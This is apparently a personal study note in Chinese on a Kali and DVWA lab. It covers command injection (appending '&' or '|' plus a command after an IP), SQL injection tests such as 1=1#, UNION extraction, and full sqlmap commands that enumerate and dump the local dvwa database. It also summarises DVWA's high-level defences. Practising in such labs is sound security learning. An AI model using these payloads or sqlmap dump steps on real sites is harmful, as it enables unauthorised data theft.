kali系统-5
命令执行漏洞:在搭建的DVWA中,体验利用命令执行漏洞执行额外的命令,并从中了解不同防御等级,对待命令执行漏洞的防御源代码的变动。
命令执行漏洞的攻击:
在练习的DVWA中,有一个command injection,在其中输入IPping时,在IP后加上字符"&" "|" + 命令,便可在终端执行命令。
命令执行漏洞的防御:

impossible等级的源代码:1 将转义字符“\”去掉
2 将输入的内容根据“.”分为四段,分别验证是否为数字
3 拼接四段数字
SQL注入:与命令执行漏洞类似,在一个需要前后端数据交互的地方,输入正常查询的内容+额外执行的语句,若网页端或后台无检查,则额外执行的语句可能会被执行。
SQL注入漏洞通用逻辑:
1 判断是否有SQL注入漏洞。例如:在某个输入框中输入“待输入内容' 1=1#”与“待输入内容' 1=2#”,分别得到正确执行和不能正确执行,则存在SQL注入
2 若存在SQL漏洞,则根据数据库知识,利用union函数,不停的查询想要在数据库中的内容。
SQL注入自动化工具:SQLmap
1 利用SQLmap查看数据库类型,以及是否存在SQL注入漏洞
命令:sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "PHPSESSID=uhqr2lqdbev4j00q5rp4dhc5rn; security=low"
注意点:要点击submit按钮后,获取的URL和cookie才有效

2 获取数据库名。在1的命令后+ --dbs

3 获取指定数据库表。在1的命令后+ -D 数据库名 --tables
即:sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "PHPSESSID=uhqr2lqdbev4j00q5rp4dhc5rn; security=low" -D dvwa --tables

4 获取表的列。
即:sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "PHPSESSID=uhqr2lqdbev4j00q5rp4dhc5rn; security=low" -D dvwa -T users --columns

5 获取内容。--dump
SQL注入的防御:
在DVWA的SQL injection中,查看不同等级的源代码。
最高级的源代码如下:

所做的事情如下:
1 确定输入是否为数字
2 再次确定是否为数字
3 prepare做数据预处理
4 bindParam绑定参数,并确定为整型